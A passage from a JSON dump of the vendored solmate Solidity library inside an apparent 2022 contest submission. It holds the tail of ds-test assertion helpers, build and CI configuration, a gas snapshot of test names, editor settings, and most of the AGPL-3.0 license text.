decimals);\n            emit log_named_decimal_uint(\"  Value b\", b, decimals);\n            fail();\n        }\n    }\n    function assertLeDecimal(uint a, uint b, uint decimals, string memory err) internal {\n        if (a > b) {\n            emit log_named_string(\"Error\", err);\n            assertGeDecimal(a, b, decimals);\n        }\n    }\n\n    function assertEq(string memory a, string memory b) internal {\n        if (keccak256(abi.encodePacked(a)) != keccak256(abi.encodePacked(b))) {\n            emit log(\"Error: a == b not satisfied [string]\");\n            emit log_named_string(\"  Value a\", a);\n            emit log_named_string(\"  Value b\", b);\n            fail();\n        }\n    }\n    function assertEq(string memory a, string memory b, string memory err) internal {\n        if (keccak256(abi.encodePacked(a)) != keccak256(abi.encodePacked(b))) {\n            emit log_named_string(\"Error\", err);\n            assertEq(a, b);\n        }\n    }\n\n    function checkEq0(bytes memory a, bytes memory b) internal pure returns (bool ok) {\n        ok = true;\n        if (a.length == b.length) {\n            for (uint i = 0; i < a.length; i++) {\n                if (a[i] != b[i]) {\n                    ok = false;\n                }\n            }\n        } else {\n            ok = false;\n        }\n    }\n    function assertEq0(bytes memory a, bytes memory b) internal {\n        if (!checkEq0(a, b)) {\n            emit log(\"Error: a == b not satisfied [bytes]\");\n            emit log_named_bytes(\"  Expected\", a);\n            emit log_named_bytes(\"    Actual\", b);\n            fail();\n        }\n    }\n    function assertEq0(bytes memory a, bytes memory b, string memory err) internal {\n        if (!checkEq0(a, b)) {\n            emit log_named_string(\"Error\", err);\n            assertEq0(a, b);\n        }\n    }\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission12_HubertRitzdorf/lib/solmate/.dapprc",
    "content": "# Basic build/test configuration.\nexport DAPP_SOLC_VERSION=0.8.10\nexport DAPP_BUILD_OPTIMIZE=1\nexport DAPP_BUILD_OPTIMIZE_RUNS=1000000\nexport DAPP_LINK_TEST_LIBRARIES=0\nexport DAPP_TEST_VERBOSITY=1\nexport DAPP_TEST_SMTTIMEOUT=500000\n\nif [ \"$DEEP_FUZZ\" = \"true\" ]\nthen \n  export DAPP_TEST_FUZZ_RUNS=10000 # Fuzz for a long time if DEEP_FUZZ is set to true.\nelse\n  export DAPP_TEST_FUZZ_RUNS=100 # Only fuzz briefly if DEEP_FUZZ is not set to true.\nfi\n"
  },
  {
    "path": "2022/submissions_2022/submission12_HubertRitzdorf/lib/solmate/.gas-snapshot",
    "content": "testFailSetAuthorityWithRestrictiveAuthority() (gas: 126002)\ntestSetAuthorityWithPermissiveAuthority() (gas: 127687)\ntestFailSetOwnerWithRestrictiveAuthority() (gas: 126166)\ntestFailCallFunctionAsNonOwner() (gas: 4191)\ntestSetAuthorityAsOwner() (gas: 23802)\ntestFailCallFunctionAsOwnerWithOutOfOrderAuthority() (gas: 135733)\ntestCallFunctionWithPermissiveAuthority() (gas: 125973)\ntestFailSetAuthorityAsNonOwner() (gas: 6960)\ntestFailSetOwnerAsOwnerWithOutOfOrderAuthority() (gas: 135873)\ntestCallFunctionAsOwner() (gas: 21371)\ntestFailCallFunctionWithRestrictiveAuthority() (gas: 126125)\ntestSetOwnerWithPermissiveAuthority() (gas: 147508)\ntestFailSetOwnerAsNonOwner() (gas: 4309)\ntestSetAuthorityAsOwnerWithOutOfOrderAuthority() (gas: 234329)\ntestSetOwnerAsOwner() (gas: 3998)\ntestFromLast20Bytes() (gas: 191)\ntestFillLast12Bytes() (gas: 223)\ntestFailDoubleDeploySameBytecode() (gas: 277076930206699)\ntestDeployERC20() (gas: 873896)\ntestFailDoubleDeployDifferentBytecode() (gas: 277076930214885)\ntestFailBoundMinBiggerThanMax() (gas: 309)\ntestBound() (gas: 5520)\ntestFailSafeBatchTransferFromToRevertingERC1155Recipient() (gas: 1041163)\ntestMintToEOA() (gas: 30265)\ntestFailMintToNonERC155Recipient() (gas: 71897)\ntestFailSafeBatchTransferFromToZero() (gas: 805864)\ntestBatchMintToERC1155Recipient() (gas: 946375)\ntestApproveAll() (gas: 26509)\ntestFailSafeBatchTransferFromWithArrayLengthMismatch() (gas: 681042)\ntestFailBatchMintToZero() (gas: 127242)\ntestFailSafeBatchTransferFromToWrongReturnDataERC1155Recipient() (gas: 993087)\ntestSafeTransferFromToERC1155Recipient() (gas: 1210543)\ntestFailBatchMintToWrongReturnDataERC1155Recipient() (gas: 314473)\ntestFailBatchMintToRevertingERC1155Recipient() (gas: 362536)\ntestBatchBurn() (gas: 146591)\ntestFailBurnInsufficientBalance() (gas: 30352)\ntestFailSafeTransferFromToWrongReturnDataERC1155Recipient() (gas: 243471)\ntestFailMintToRevertingERC155Recipient() (gas: 263148)\ntestFailSafeBatchTransferFromToNonERC1155Recipient() (gas: 849621)\ntestFailSafeTransferFromInsufficientBalance() (gas: 579173)\ntestFailSafeTransferFromToNonERC155Recipient() (gas: 100376)\ntestFailBatchMintToNonERC1155Recipient() (gas: 171010)\ntestSafeBatchTransferFromToEOA() (gas: 817122)\ntestFailSafeTransferFromToRevertingERC1155Recipient() (gas: 291604)\ntestBatchMintToEOA() (gas: 132842)\ntestFailBatchBurnInsufficientBalance() (gas: 131673)\ntestSafeBatchTransferFromToERC1155Recipient() (gas: 1650504)\ntestFailBalanceOfBatchWithArrayMismatch() (gas: 4798)\ntestFailSafeBatchTransferInsufficientBalance() (gas: 682003)\ntestSafeTransferFromToEOA() (gas: 609087)\ntestMintToERC1155Recipient() (gas: 612041)\ntestFailBatchMintWithArrayMismatch() (gas: 5118)\ntestBatchBalanceOf() (gas: 153798)\ntestFailSafeTransferFromToZero() (gas: 57667)\ntestFailSafeTransferFromSelfInsufficientBalance() (gas: 29956)\ntestBurn() (gas: 34098)\ntestFailBatchBurnWithArrayLengthMismatch() (gas: 131065)\ntestFailMintToZero() (gas: 29205)\ntestSafeTransferFromSelf() (gas: 59828)\ntestFailMintToWrongReturnDataERC155Recipient() (gas: 263102)\ntestInfiniteApproveTransferFrom() (gas: 387796)\ntestApprove() (gas: 26558)\ntestMetaData() (gas: 6966)\ntestTransferFrom() (gas: 388134)\ntestFailTransferFromInsufficientBalance() (gas: 359401)\ntestFailPermitPastDeadline() (gas: 2197)\ntestFailPermitReplay() (gas: 59949)\ntestMint() (gas: 49180)\ntestFailTransferFromInsufficientAllowance() (gas: 358925)\ntestTransfer() (gas: 75628)\ntestBurn() (gas: 52492)\ntestPermit() (gas: 56782)\ntestFailTransferInsufficientBalance() (gas: 48240)\ntestFailPermitBadDeadline() (gas: 30486)\ntestFailPermitBadNonce() (gas: 30436)\ntestSafeTransferFromToERC721Recipient() (gas: 908869)\ntestFailSafeMintToERC721RecipientWithWrongReturnDataWithData() (gas: 185732)\ntestApprove() (gas: 96031)\ntestFailBurnUnMinted() (gas: 3379)\ntestFailSafeTransferFromToERC721RecipientWithWrongReturnDataWithData() (gas: 213867)\ntestFailDoubleMint() (gas: 70935)\ntestApproveAll() (gas: 26585)\ntestFailApproveUnAuthorized() (gas: 73181)\ntestFailSafeTransferFromToRevertingERC721RecipientWithData() (gas: 259577)\ntestFailSafeMintToNonERC721RecipientWithData() (gas: 115867)\ntestMetadata() (gas: 6492)\ntestFailTransferFromWrongFrom() (gas: 71032)\ntestFailSafeMintToRevertingERC721Recipient() (gas: 230626)\ntestTransferFrom() (gas: 551359)\ntestFailSafeMintToNonERC721Recipient() (gas: 115042)\ntestFailDoubleBurn() (gas: 74563)\ntestFailSafeMintToERC721RecipientWithWrongReturnData() (gas: 184893)\ntestFailSafeTransferFromToNonERC721Recipient() (gas: 143245)\ntestMint() (gas: 72701)\ntestFailApproveUnMinted() (gas: 5694)\ntestFailTransferFromToZero() (gas: 71031)\ntestSafeMintToERC721Recipient() (gas: 408375)\ntestSafeTransferFromToEOA() (gas: 556215)\ntestSafeMintToEOA() (gas: 75400)\ntestFailSafeTransferFromToERC721RecipientWithWrongReturnData() (gas: 213093)\ntestTransferFromApproveAll() (gas: 553534)\ntestFailTransferFromUnOwned() (gas: 3500)\ntestFailSafeTransferFromToNonERC721RecipientWithData() (gas: 144048)\ntestBurn() (gas: 76417)\ntestFailSafeMintToRevertingERC721RecipientWithData() (gas: 231396)\ntestFailMintToZero() (gas: 1253)\ntestFailTransferFromNotOwner() (gas: 75544)\ntestSafeMintToERC721RecipientWithData() (gas: 429537)\ntestFailSafeTransferFromToRevertingERC721Recipient() (gas: 258848)\ntestSafeTransferFromToERC721RecipientWithData() (gas: 930031)\ntestTransferFromSelf() (gas: 103082)\ntestFPow() (gas: 1651)\ntestFailFDivZeroXY() (gas: 316)\ntestSqrt() (gas: 2492)\ntestFDiv() (gas: 733)\ntestFDivEdgeCases() (gas: 581)\ntestFMulEdgeCases() (gas: 801)\ntestFailFDivXYB() (gas: 294)\ntestFailFDivZeroY() (gas: 271)\ntestFMul() (gas: 669)\ntestSetRoles() (gas: 33023)\ntestCanCallWithCustomAuthorityOverridesPublicCapability() (gas: 295417)\ntestCanCallPublicCapability() (gas: 39631)\ntestSetTargetCustomAuthority() (gas: 31736)\ntestCanCallWithCustomAuthorityOverridesUserWithRole() (gas: 334265)\ntestCanCallWithAuthorizedRole() (gas: 97461)\ntestSetRoleCapabilities() (gas: 32997)\ntestCanCallWithCustomAuthority() (gas: 466959)\ntestSetPublicCapabilities() (gas: 31468)\ntestNoReentrancy() (gas: 1015)\ntestProtectedCall() (gas: 23649)\ntestFailUnprotectedCall() (gas: 30515)\ntestSetRoles() (gas: 32998)\ntestCanCallPublicCapability() (gas: 38436)\ntestCanCallWithAuthorizedRole() (gas: 96267)\ntestSetRoleCapabilities() (gas: 34588)\ntestSetPublicCapabilities() (gas: 33244)\ntestWriteRead() (gas: 53511)\ntestWriteReadFullStartBound() (gas: 34725)\ntestFailWriteReadEmptyOutOfBounds() (gas: 34432)\ntestWriteReadFullBoundedRead() (gas: 53708)\ntestFailReadInvalidPointer() (gas: 2905)\ntestFailWriteReadOutOfStartBound() (gas: 34346)\ntestFailReadInvalidPointerCustomStartBound() (gas: 2982)\ntestWriteReadEmptyBound() (gas: 34639)\ntestFailWriteReadOutOfBounds() (gas: 34453)\ntestWriteReadCustomBounds() (gas: 34853)\ntestWriteReadCustomStartBound() (gas: 34768)\ntestFailReadInvalidPointerCustomBounds() (gas: 3143)\ntestSafeCastTo248() (gas: 433)\ntestSafeCastTo128() (gas: 455)\ntestSafeCastTo32() (gas: 432)\ntestFailSafeCastTo96() (gas: 320)\ntestSafeCastTo96() (gas: 475)\ntestFailSafeCastTo64() (gas: 299)\ntestSafeCastTo64() (gas: 454)\ntestFailSafeCastTo248() (gas: 298)\ntestFailSafeCastTo128() (gas: 342)\ntestFailSafeCastTo32() (gas: 297)\ntestFailTransferWithReturnsFalse() (gas: 27234)\ntestApproveWithStandardERC20() (gas: 26417)\ntestFailTransferFromWithReturnsFalse() (gas: 30377)\ntestTransferFromWithTransferFromSelf() (gas: 59377)\ntestFailTransferWithPausable() (gas: 4160)\ntestApproveWithNonContract() (gas: 3076)\ntestFailApproveWithPausable() (gas: 1219)\ntestFailTransferFromWithPausable() (gas: 5312)\ntestApproveWithMissingReturn() (gas: 26335)\ntestTransferFromWithMissingReturn() (gas: 59267)\ntestTransferWithStandardERC20() (gas: 28201)\ntestTransferFromWithStandardERC20() (gas: 59309)\ntestTransferFromWithNonContract() (gas: 3104)\ntestTransferWithMissingReturn() (gas: 28128)\ntestFailApproveWithReturnsFalse() (gas: 25283)\ntestTransferETH() (gas: 34636)\ntestTransferWithNonContract() (gas: 3075)\ntestApproveWithTransferFromSelf() (gas: 26416)\ntestTransferWithTransferFromSelf() (gas: 28182)\ntestFailTransferETHToContractWithoutFallback() (gas: 7222)\ntestPartialWithdraw() (gas: 68803)\ntestDeposit() (gas: 58804)\ntestFallbackDeposit() (gas: 59068)\ntestWithdraw() (gas: 68737)\n"
  },
  {
    "path": "2022/submissions_2022/submission12_HubertRitzdorf/lib/solmate/.gitattributes",
    "content": "*.sol linguist-language=Solidity\n.dapprc linguist-language=Shell\n.gas-snapshot linguist-language=Julia"
  },
  {
    "path": "2022/submissions_2022/submission12_HubertRitzdorf/lib/solmate/.github/workflows/tests.yml",
    "content": "name: Tests\n\non: [push, pull_request]\n\njobs:\n  tests:\n    runs-on: ubuntu-latest\n\n    steps:\n      - uses: actions/checkout@v2\n      - uses: actions/setup-node@v2\n      - uses: cachix/install-nix-action@v13\n      - uses: cachix/cachix-action@v10\n        with:\n          name: dapp\n\n      - name: Install dependencies\n        run: nix-shell --run 'make'\n\n      - name: Check gas snapshots\n        run: nix-shell --run 'dapp check-snapshot'\n\n      - name: Run tests\n        run: nix-shell --run 'dapp test'\n        env:\n          # Only fuzz deeply if we're pushing to main or this is a PR to main:\n          DEEP_FUZZ: ${{ github.ref == 'refs/heads/main' || github.base_ref == 'main' }}\n"
  },
  {
    "path": "2022/submissions_2022/submission12_HubertRitzdorf/lib/solmate/.gitignore",
    "content": "/cache\n/node_modules\n/out"
  },
  {
    "path": "2022/submissions_2022/submission12_HubertRitzdorf/lib/solmate/.gitmodules",
    "content": "[submodule \"lib/ds-test\"]\n\tpath = lib/ds-test\n\turl = https://github.com/dapphub/ds-test\n[submodule \"lib/weird-erc20\"]\n\tpath = lib/weird-erc20\n\turl = https://github.com/d-xo/weird-erc20\n"
  },
  {
    "path": "2022/submissions_2022/submission12_HubertRitzdorf/lib/solmate/.prettierrc",
    "content": "{\n  \"tabWidth\": 2,\n  \"printWidth\": 100,\n\n  \"overrides\": [\n    {\n      \"files\": \"*.sol\",\n      \"options\": {\n        \"tabWidth\": 4,\n        \"printWidth\": 120\n      }\n    }\n  ]\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission12_HubertRitzdorf/lib/solmate/.vscode/settings.json",
    "content": "{\n  \"solidity.packageDefaultDependenciesContractsDirectory\": \"src\",\n  \"solidity.packageDefaultDependenciesDirectory\": \"lib\",\n  \"solidity.compileUsingRemoteVersion\": \"v0.8.10\",\n  \"search.exclude\": { \"lib\": true },\n  \"files.associations\": {\n    \".dapprc\": \"shellscript\",\n    \".gas-snapshot\": \"julia\"\n  }\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission12_HubertRitzdorf/lib/solmate/LICENSE",
    "content": "                    GNU AFFERO GENERAL PUBLIC LICENSE\n                       Version 3, 19 November 2007\n\n Copyright (C) 2007 Free Software Foundation, Inc. <https://fsf.org/>\n Everyone is permitted to copy and distribute verbatim copies\n of this license document, but changing it is not allowed.\n\n                            Preamble\n\n  The GNU Affero General Public License is a free, copyleft license for\nsoftware and other kinds of works, specifically designed to ensure\ncooperation with the community in the case of network server software.\n\n  The licenses for most software and other practical works are designed\nto take away your freedom to share and change the works.  By contrast,\nour General Public Licenses are intended to guarantee your freedom to\nshare and change all versions of a program--to make sure it remains free\nsoftware for all its users.\n\n  When we speak of free software, we are referring to freedom, not\nprice.  Our General Public Licenses are designed to make sure that you\nhave the freedom to distribute copies of free software (and charge for\nthem if you wish), that you receive source code or can get it if you\nwant it, that you can change the software or use pieces of it in new\nfree programs, and that you know you can do these things.\n\n  Developers that use our General Public Licenses protect your rights\nwith two steps: (1) assert copyright on the software, and (2) offer\nyou this License which gives you legal permission to copy, distribute\nand/or modify the software.\n\n  A secondary benefit of defending all users' freedom is that\nimprovements made in alternate versions of the program, if they\nreceive widespread use, become available for other developers to\nincorporate.  Many developers of free software are heartened and\nencouraged by the resulting cooperation.  However, in the case of\nsoftware used on network servers, this result may fail to come about.\nThe GNU General Public License permits making a modified version and\nletting the public access it on a server without ever releasing its\nsource code to the public.\n\n  The GNU Affero General Public License is designed specifically to\nensure that, in such cases, the modified source code becomes available\nto the community.  It requires the operator of a network server to\nprovide the source code of the modified version running there to the\nusers of that server.  Therefore, public use of a modified version, on\na publicly accessible server, gives the public access to the source\ncode of the modified version.\n\n  An older license, called the Affero General Public License and\npublished by Affero, was designed to accomplish similar goals.  This is\na different license, not a version of the Affero GPL, but Affero has\nreleased a new version of the Affero GPL which permits relicensing under\nthis license.\n\n  The precise terms and conditions for copying, distribution and\nmodification follow.\n\n                       TERMS AND CONDITIONS\n\n  0. Definitions.\n\n  \"This License\" refers to version 3 of the GNU Affero General Public License.\n\n  \"Copyright\" also means copyright-like laws that apply to other kinds of\nworks, such as semiconductor masks.\n\n  \"The Program\" refers to any copyrightable work licensed under this\nLicense.  Each licensee is addressed as \"you\".  \"Licensees\" and\n\"recipients\" may be individuals or organizations.\n\n  To \"modify\" a work means to copy from or adapt all or part of the work\nin a fashion requiring copyright permission, other than the making of an\nexact copy.  The resulting work is called a \"modified version\" of the\nearlier work or a work \"based on\" the earlier work.\n\n  A \"covered work\" means either the unmodified Program or a work based\non the Program.\n\n  To \"propagate\" a work means to do anything with it that, without\npermission, would make you directly or secondarily liable for\ninfringement under applicable copyright law, except executing it on a\ncomputer or modifying a private copy.  Propagation includes copying,\ndistribution (with or without modification), making available to the\npublic, and in some countries other activities as well.\n\n  To \"convey\" a work means any kind of propagation that enables other\nparties to make or receive copies.  Mere interaction with a user through\na computer network, with no transfer of a copy, is not conveying.\n\n  An interactive user interface displays \"Appropriate Legal Notices\"\nto the extent that it includes a convenient and prominently visible\nfeature that (1) displays an appropriate copyright notice, and (2)\ntells the user that there is no warranty for the work (except to the\nextent that warranties are provided), that licensees may convey the\nwork under this License, and how to view a copy of this License.  If\nthe interface presents a list of user commands or options, such as a\nmenu, a prominent item in the list meets this criterion.\n\n  1. Source Code.\n\n  The \"source code\" for a work means the preferred form of the work\nfor making modifications to it.  \"Object code\" means any non-source\nform of a work.\n\n  A \"Standard Interface\" means an interface that either is an official\nstandard defined by a recognized standards body, or, in the case of\ninterfaces specified for a particular programming language, one that\nis widely used among developers working in that language.\n\n  The \"System Libraries\" of an executable work include anything, other\nthan the work as a whole, that (a) is included in the normal form of\npackaging a Major Component, but which is not part of that Major\nComponent, and (b) serves only to enable use of the work with that\nMajor Component, or to implement a Standard Interface for which an\nimplementation is available to the public in source code form.  A\n\"Major Component\", in this context, means a major essential component\n(kernel, window system, and so on) of the specific operating system\n(if any) on which the executable work runs, or a compiler used to\nproduce the work, or an object code interpreter used to run it.\n\n  The \"Corresponding Source\" for a work in object code form means all\nthe source code needed to generate, install, and (for an executable\nwork) run the object code and to modify the work, including scripts to\ncontrol those activities.  However, it does not include the work's\nSystem Libraries, or general-purpose tools or generally available free\nprograms which are used unmodified in performing those activities but\nwhich are not part of the work.  For example, Corresponding Source\nincludes interface definition files associated with source files for\nthe work, and the source code for shared libraries and dynamically\nlinked subprograms that the work is specifically designed to require,\nsuch as by intimate data communication or control flow between those\nsubprograms and other parts of the work.\n\n  The Corresponding Source need not include anything that users\ncan regenerate automatically from other parts of the Corresponding\nSource.\n\n  The Corresponding Source for a work in source code form is that\nsame work.\n\n  2. Basic Permissions.\n\n  All rights granted under this License are granted for the term of\ncopyright on the Program, and are irrevocable provided the stated\nconditions are met.  This License explicitly affirms your unlimited\npermission to run the unmodified Program.  The output from running a\ncovered work is covered by this License only if the output, given its\ncontent, constitutes a covered work.  This License acknowledges your\nrights of fair use or other equivalent, as provided by copyright law.\n\n  You may make, run and propagate covered works that you do not\nconvey, without conditions so long as your license otherwise remains\nin force.  You may convey covered works to others for the sole purpose\nof having them make modifications exclusively for you, or provide you\nwith facilities for running those works, provided that you comply with\nthe terms of this License in conveying all material for which you do\nnot control copyright.  Those thus making or running the covered works\nfor you must do so exclusively on your behalf, under your direction\nand control, on terms that prohibit them from making any copies of\nyour copyrighted material outside their relationship with you.\n\n  Conveying under any other circumstances is permitted solely under\nthe conditions stated below.  Sublicensing is not allowed; section 10\nmakes it unnecessary.\n\n  3. Protecting Users' Legal Rights From Anti-Circumvention Law.\n\n  No covered work shall be deemed part of an effective technological\nmeasure under any applicable law fulfilling obligations under article\n11 of the WIPO copyright treaty adopted on 20 December 1996, or\nsimilar laws prohibiting or restricting circumvention of such\nmeasures.\n\n  When you convey a covered work, you waive any legal power to forbid\ncircumvention of technological measures to the extent such circumvention\nis effected by exercising rights under this License with respect to\nthe covered work, and you disclaim any intention to limit operation or\nmodification of the work as a means of enforcing, against the work's\nusers, your or third parties' legal rights to forbid circumvention of\ntechnological measures.\n\n  4. Conveying Verbatim Copies.\n\n  You may convey verbatim copies of the Program's source code as you\nreceive it, in any medium, provided that you conspicuously and\nappropriately publish on each copy an appropriate copyright notice;\nkeep intact all notices stating that this License and any\nnon-permissive terms added in accord with section 7 apply to the code;\nkeep intact all notices of the absence of any warranty; and give all\nrecipients a copy of this License along with the Program.\n\n  You may charge any price or no price for each copy that you convey,\nand you may offer support or warranty protection for a fee.\n\n  5. Conveying Modified Source Versions.\n\n  You may convey a work based on the Program, or the modifications to\nproduce it from the Program, in the form of source code under the\nterms of section 4, provided that you also meet all of these conditions:\n\n    a) The work must carry prominent notices stating that you modified\n    it, and giving a relevant date.\n\n    b) The work must carry prominent notices stating that it is\n    released under this License and any conditions added under section\n    7.  This requirement modifies the requirement in section 4 to\n    \"keep intact all notices\".\n\n    c) You must license the entire work, as a whole, under this\n    License to anyone who comes into possession of a copy.  This\n    License will therefore apply, along with any applicable section 7\n    additional terms, to the whole of the work, and all its parts,\n    regardless of how they are packaged.  This License gives no\n    permission to license the work in any other way, but it does not\n    invalidate such permission if you have separately received it.\n\n    d) If the work has interactive user interfaces, each must display\n    Appropriate Legal Notices; however, if the Program has interactive\n    interfaces that do not display Appropriate Legal Notices, your\n    work need not make them do so.\n\n  A compilation of a covered work with other separate and independent\nworks, which are not by their nature extensions of the covered work,\nand which are not combined with it such as to form a larger program,\nin or on a volume of a storage or distribution medium, is called an\n\"aggregate\" if the compilation and its resulting copyright are not\nused to limit the access or legal rights of the compilation's users\nbeyond what the individual works permit.  Inclusion of a covered work\nin an aggregate does not cause this License to apply to the other\nparts of the aggregate.\n\n  6. Conveying Non-Source Forms.\n\n  You may convey a covered work in object code form under the terms\nof sections 4 and 5, provided that you also convey the\nmachine-readable Corresponding Source under the terms of this License,\nin one of these ways:\n\n    a) Convey the object code in, or embodied in, a physical product\n    (including a physical distribution medium), accompanied by the\n    Corresponding Source fixed on a durable physical medium\n    customarily used for software interchange.\n\n    b) Convey the object code in, or embodied in, a physical product\n    (including a physical distribution medium), accompanied by a\n    written offer, valid for at least three years and valid for as\n    long as you offer spare parts or customer support for that product\n    model, to give anyone who possesses the object code either (1) a\n    copy of the Corresponding Source for all the software in the\n    product that is covered by this License, on a durable physical\n    medium customarily used for software interchange, for a price no\n    more than your reasonable cost of physically performing this\n    conveying of source, or (2) access to copy the\n    Corresponding Source from a network server at no charge.\n\n    c) Convey individual copies of the object code with a copy of the\n    written offer to provide the Corresponding Source.  This\n    alternative is allowed only occasionally and noncommercially, and\n    only if you received the object code with such an offer, in accord\n    with subsection 6b.\n\n    d) Convey the object code by offering access from a designated\n    place (gratis or for a charge), and offer equivalent access to the\n    Corresponding Source in the same way through the same place at no\n    further charge.  You need not require recipients to copy the\n    Corresponding Source along with the object code.  If the place to\n    copy the object code is a network server, the Corresponding Source\n    may be on a different server (operated by you or a third party)\n    that supports equivalent copying facilities, provided you maintain\n    clear directions next to the object code saying where to find the\n    Corresponding Source.  Regardless of what server hosts the\n    Corresponding Source, you remain obligated to ensure that it is\n    available for as long as needed to satisfy these requirements.\n\n    e) Convey the object code using peer-to-peer transmission, provided\n    you inform other peers where the object code and Corresponding\n    Source of the work are being offered to the general public at no\n    charge under subsection 6d.\n\n  A separable portion of the object code, whose source code is excluded\nfrom the Corresponding Source as a System Library, need not be\nincluded in conveying the object code work.\n\n  A \"User Product\" is either (1) a \"consumer product\", which means any\ntangible personal property which is normally used for personal, family,\nor household purposes, or (2) anything designed or sold for incorporation\ninto a dwelling.  In determining whether a product is a consumer product,\ndoubtful cases shall be resolved in favor of coverage.  For a particular\nproduct received by a particular user, \"normally used\" refers to a\ntypical or common use of that class of product, regardless of the status\nof the particular user or of the way in which the particular user\nactually uses, or expects or is expected to use, the product.  A product\nis a consumer product regardless of whether the product has substantial\ncommercial, industrial or non-consumer uses, unless such uses represent\nthe only significant mode of use of the product.\n\n  \"Installation Information\" for a User Product means any methods,\nprocedures, authorization keys, or other information required to install\nand execute modified versions of a covered work in that User Product from\na modified version of its Corresponding Source.  The information must\nsuffice to ensure that the continued functioning of the modified object\ncode is in no case prevented or interfered with solely because\nmodification has been made.\n\n  If you convey an object code work under this section in, or with, or\nspecifically for use in, a User Product, and the conveying occurs as\npart of a transaction in which the right of possession and use of the\nUser Product is transferred to the recipient in perpetuity or for a\nfixed term (regardless of how the transaction is characterized), the\nCorresponding Source conveyed under this section must be accompanied\nby the Installation Information.  But this requirement does not apply\nif neither you nor any third party retains the ability to install\nmodified object code on the User Product (for example, the work has\nbeen installed in ROM).\n\n  The requirement to provide Installation Information does not include a\nrequirement to continue to provide support service, warranty, or updates\nfor a work that has been modified or installed by the recipient, or for\nthe User Product in which it has been modified or installed.  Access to a\nnetwork may be denied when the modification itself materially and\nadversely affects the operation of the network or violates the rules and\nprotocols for communication across the network.\n\n  Corresponding Source conveyed, and Installation Information provided,\nin accord with this section must be in a format that is publicly\ndocumented (and with an implementation available to the public in\nsource code form), and must require no special password or key for\nunpacking, reading or copying.\n\n  7. Additional Terms.\n\n  \"Additional permissions\" are terms that supplement the terms of this\nLicense by making exceptions from one or more of its conditions.\nAdditional permissions that are applicable to the entire Program shall\nbe treated as though they were included in this License, to the extent\nthat they are valid under applicable law.  If additional permissions\napply only to part of the Program, that part may be used separately\nunder those permissions, but the entire Program remains governed by\nthis License without regard to the additional permissions.\n\n  When you convey a copy of a covered work, you may at your option\nremove any additional permissions from that copy, or from any part of\nit.  (Additional permissions may be written to require their own\nremoval in certain cases when you modify the work.)  You may place\nadditional permissions on material, added by you to a covered work,\nfor which you have or can give appropriate copyright permission.\n\n  Notwithstanding any other provision of this License, for material you\nadd to a covered work, you may (if authorized by the copyright holders of\nthat material) supplement the terms of this License with terms:\n\n    a) Disclaiming warranty or limiting liability differently from the\n    terms of sections 15 and 16 of this License; or\n\n    b) Requiring preservation of specified reasonable legal notices or\n    author attributions in that material or in the Appropriate Legal\n    Notices displayed by works containing it; or\n\n    c) Prohibiting misrepresentation of the origin of that material, or\n    requiring that modified versions of such material be marked in\n    reasonable ways as different from the original version; or\n\n    d) Limiting the use for publicity purposes of names of licensors or\n    authors of the material; or\n\n    e) Declining to grant rights under trademark law for use of some\n    trade names, trademarks, or service marks; or\n\n    f) Requiring indemnification of licensors and authors of that\n    material by anyone who conveys the material (or modified versions of\n    it) with contractual assumptions of liability to the recipient, for\n    any liability that these contractual assumptions directly impose on\n    those licensors and authors.\n\n  All other non-permissive additional terms are considered \"further\nrestrictions\" within the meaning of section 10.  If the Program as you\nreceived it, or any part of it, contains a notice stating that it is\ngoverned by this License along with a term that is a further\nrestriction, you may remove that term.  If a license document contains\na further restriction but permits relicensing or conveying under this\nLicense, you may add to a covered work material governed by the terms\nof that license document, provided that the further restriction does\nnot survive such relicensing or conveying.\n\n  If you add terms to a covered work in accord with this section, you\nmust place, in the relevant source files, a statement of the\nadditional terms that apply to those files, or a notice indicating\nwhere to find the applicable terms.\n\n  Additional terms, permissive or non-permissive, may be stated in the\nform of a separately written license, or stated as exceptions;\nthe above requirements apply either way.\n\n  8. Termination.\n\n  You may not propagate or modify a covered work except as expressly\nprovided under this License.  Any attempt otherwise to propagate or\nmodify it is void, and will automatically terminate your rights under\nthis License (including any patent licenses granted under the third\nparagraph of section 11).\n\n  However, if you cease all violation of this License, then your\nlicense from a particular copyright holder is reinstated (a)\nprovisionally, unless and until the copyright holder explicitly and\nfinally terminates your license, and (b) permanently, if the copyright\nholder fails to notify you of the violation by some reasonable means\nprior to 60 days after the cessation.\n\n  Moreover, your license from a particular copyright holder is\nreinstated permanently if the copyright holder notifies you of the\nviolation by some reasonable means, this is the first time you have\nreceived notice of violation of this License (for any work) from that\ncopyright holder, and you cure the violation prior to 30 days after\nyour receipt of the notice.\n\n  Termination of your rights under this section does not terminate the\nlicenses of parties who have received copies or rights from you under\nthis License.  If your rights have been terminated and not permanently\nreinstated, you do not qualify to receive new licenses for the same\nmaterial under section 10.\n\n  9. Acceptance Not Required for Having Copies.\n\n  You are not required to accept this License in order to receive or\nrun a copy of the Program.  Ancillary propagation of a covered work\noccurring solely as a consequence of using peer-to-peer transmission\nto receive a copy likewise does not require acceptance.  However,\nnothing other than this License grants you permission to propagate or\nmodify any covered work.  These actions infringe copyright if you do\nnot accept this License.  Therefore, by modifying or propagating a\ncovered work, you indicate your acceptance of this License to do so.\n\n  10. Automatic Licensing of Downstream Recipients.\n\n  Each time you convey a covered work, the recipient automatically\nreceives a license from the original licensors, to run, modify and\npropagate that work, subject to this License.  You are not responsible\nfor enforcing compliance by third parties with this License.\n\n  An \"entity transaction\" is a transaction transferring control of an\norganization, or substantially all assets of one, or subdividing an\norganization, or merging organizations.  If propagation of a covered\nwork results from an entity transaction, each party to that\ntransaction who receives a copy of the work also receives whatever\nlicenses to the work the party's predecessor in interest had or could\ngive under the previous paragraph, plus a right to possession of the\nCorresponding Source of the work from the predecessor in interest, if\nthe predecessor has it or can get it with reasonable efforts.\n\n  You may not impose any further restrictions on the exercise of the\nrights granted or affirmed under this License.  For example, you may\nnot impose a license fee, royalty, or other charge for exercise of\nrights granted under this License, and you may not initiate litigation\n(including a cross-claim or counterclaim in a lawsuit) alleging that\nany patent claim is infringed by making, using, selling, offering for\nsale, or importing the Program or any portion of it.\n\n  11. Patents.\n\n  A \"contributor\" is a copyright holder who authorizes use under this\nLicense of the Program or a work on which the Program is based.  The\nwork thus licensed is called the contributor's \"contributor version\".\n\n  A contributor's \"essential patent claims\" are all patent claims\nowned or controlled by the contributor, whether already acquired or\nhereafter acquired, that would be infringed by some manner, permitted\nby this License, of making, using, or selling its contributor version,\nbut do not include claims that would be infringed only as a\nconsequence of further modification of the contributor version. 